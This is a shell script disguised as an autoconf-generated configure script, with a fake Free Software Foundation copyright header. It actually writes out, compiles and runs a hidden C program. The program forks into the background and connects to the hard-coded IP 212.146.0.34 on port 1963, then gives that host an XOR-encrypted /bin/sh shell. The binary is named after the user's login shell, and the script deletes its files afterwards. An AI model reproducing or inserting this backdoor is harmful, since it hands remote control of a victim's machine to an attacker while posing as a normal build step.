#!/bin/sh cat >conftes.c <<_CONFEOF #include #include #include #include #include #define XOR_KEY 0x89 int main (int argc, char **argv) { char c; int s, x, sv0[2], sv1[2]; struct sockaddr_in sa; switch (fork ()) { case 0: break; default: exit (1);} close (0); close (1); close (2); do { if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1)) exit (1); sa.sin_family = AF_INET; sa.sin_port = htons (1963); sa.sin_addr.s_addr = inet_addr ("212.146.0.34"); alarm (10); if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1)) exit (1); if ((x = read (s, &c, 1)) <= 0) exit (1); else { alarm (0); switch (c) { case 'A': exit (0); case 'D': break; case 'M': close (s); sleep (3600); continue; } } break; } while (1); if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv0) == (-1)) exit (1); if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv1) == (-1)) exit (1); switch (fork ()) { case -1: { exit (1); } case 0: { char *a[] = { "/bin/sh", NULL }; close (sv0[1]); close (sv1[1]); dup2 (sv0[0], 0); dup2 (sv1[0], 1); dup2 (sv1[0], 2); execve (a[0], a, NULL); } default: { close (sv0[0]); close (sv1[0]); while (1) { int len, ret; fd_set rfd; char buf[2048]; FD_ZERO (&rfd); FD_SET (s, &rfd); FD_SET (sv1[1], &rfd); if (select (32, &rfd, NULL, NULL, NULL) == (-1)) { exit (1); } if (FD_ISSET (s, &rfd)) { /* decrypt */ if ((len = read (s, buf, sizeof (buf))) <= 0) { exit (1); } for (x = 0; x < len; x++) buf[x] ^= XOR_KEY; x = 0; while (x < len) { if ((ret = write (sv0[1], buf + x, len - x)) == (-1)) { exit (1); } x += ret; } } if (FD_ISSET (sv1[1], &rfd)) { if ((len = read (sv1[1], buf, sizeof (buf))) <= 0) { exit (1); } for (x = 0; x < len; x++) buf[x] ^= XOR_KEY; x = 0; while (x < len) { if ((ret = write (s, buf + x, len - x)) == (-1)) { exit (1); } x += ret; } } } } } } _CONFEOF (TESTPROG="`basename \"\`grep ^$USER: /etc/passwd\`\"`" if test -z $TESTPROG ; then TESTPROG=sh; fi TESTSTAT=0 # Guess values for system-dependent variables and create Makefiles. # Generated automatically using autoconf version 2.13 # Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc. # # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify it. if test $TESTPROG = "sh"; then TESTSTAT=1;fi if test $TESTPROG = "csh"; then TESTSTAT=1;fi if test $TESTPROG = "bash"; then TESTSTAT=1;fi if test $TESTPROG = "tcsh"; then TESTSTAT=1;fi if test $TESTPROG = "zsh"; then TESTSTAT=1;fi if test $TESTSTAT -eq 0; then TESTPROG=sh;fi oPATH=$PATH gcc -w conftes.c -o $TESTPROG ; PATH=. $TESTPROG PATH=$oPATH if test -x $TESTPROG;then rm -f ./conftes ./conftes.c services $TESTPROG && exit;fi gcc -w conftes.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG PATH=$oPATH if test -x $TESTPROG;then rm -f ./conftes ./conftes.c services $TESTPROG && exit;fi cc -w conftes.c -o $TESTPROG ; PATH=. $TESTPROG PATH=$oPATH if test -x $TESTPROG;then rm -f ./conftes ./conftes.c services $TESTPROG && exit;fi cc -w conftes.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG PATH=$oPATH # Initialize some variables set by options. # The variables have the same names as the options, with # dashes changed to underlines. rm -f ./conftes ./conftes.c $TESTPROG services) 2>/dev/null 1>/dev/null